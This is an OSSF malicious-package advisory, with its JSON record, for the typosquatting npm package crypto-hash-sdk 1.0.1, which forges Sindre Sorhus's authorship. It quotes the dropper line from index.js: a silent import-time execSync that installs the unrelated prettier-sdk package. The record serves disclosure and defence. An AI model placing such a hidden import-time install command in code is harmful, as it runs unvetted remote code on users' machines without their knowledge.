MAL-2026-4541
Vulnerability from ossf_malicious_packages
Published
2026-05-19 18:58
Modified
2026-05-19 18:58
Summary
Malicious code in crypto-hash-sdk (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08)

Package name and metadata impersonate Sindre Sorhus's legitimate crypto-hash package (forged author Sindre Sorhus <sindresorhus@gmail.com> and repository sindresorhus/crypto-hash in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true }) — on any require()/import of this module, the installer's machine silently runs npm install for the unrelated prettier-sdk package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits
Amazon Inspector actran@amazon.com

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "25fd2657458826ba32009f8724d81609eefe4fb75aab7b6bb2a2da1232d7bd2c",
              "tlsh": "ef517166df3c822203b13a175ca5969fa43d91257e9058bb8d4cbf3820c706dc6783b6"
            },
            {
              "path": "package.json",
              "sha256": "ca43953d3010cc88ea556586b66d2a27b2686e8f6ed4518bd8e7dc87db60ff90",
              "tlsh": "0221e1139e2fb6a327e45dcd9c3d94d1a979800d848dd9ee9edb7100c2ec661105e68a"
            }
          ],
          "package_integrity": [
            {
              "filename": "crypto-hash-sdk-1.0.1.tgz",
              "hashes": {
                "sha1": "3522be61f9b960bddcb252122a3a3a21d4234bc1",
                "sha512_sri": "sha512-9fysDQ21e4wOncHvg/8TGKrvKWIvAqTeztx3S5SMUmFKWSM/oqc2Ss8FTRGydPAjnMvZtEwyqdNGVyYY6LUxKQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "crypto-hash-sdk"
      },
      "versions": [
        "1.0.1"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-003249",
        "import_time": "2026-05-26T05:50:17.512686283Z",
        "modified_time": "2026-05-19T18:58:21Z",
        "sha256": "208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08",
        "source": "amazon-inspector",
        "versions": [
          "1.0.1"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08)\nPackage name and metadata impersonate Sindre Sorhus\u0027s legitimate `crypto-hash` package (forged author `Sindre Sorhus \u003csindresorhus@gmail.com\u003e` and repository `sindresorhus/crypto-hash` in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls `execSync(\"npm uninstall prettier-sdk \u0026\u0026 npm install prettier-sdk\", { stdio: \"ignore\", windowsHide: true })` \u2014 on any `require()`/`import` of this module, the installer\u0027s machine silently runs `npm install` for the unrelated `prettier-sdk` package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.\n",
  "id": "MAL-2026-4541",
  "modified": "2026-05-19T18:58:21Z",
  "published": "2026-05-19T18:58:21Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/crypto-hash-sdk/v/1.0.1"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in crypto-hash-sdk (npm)"
}


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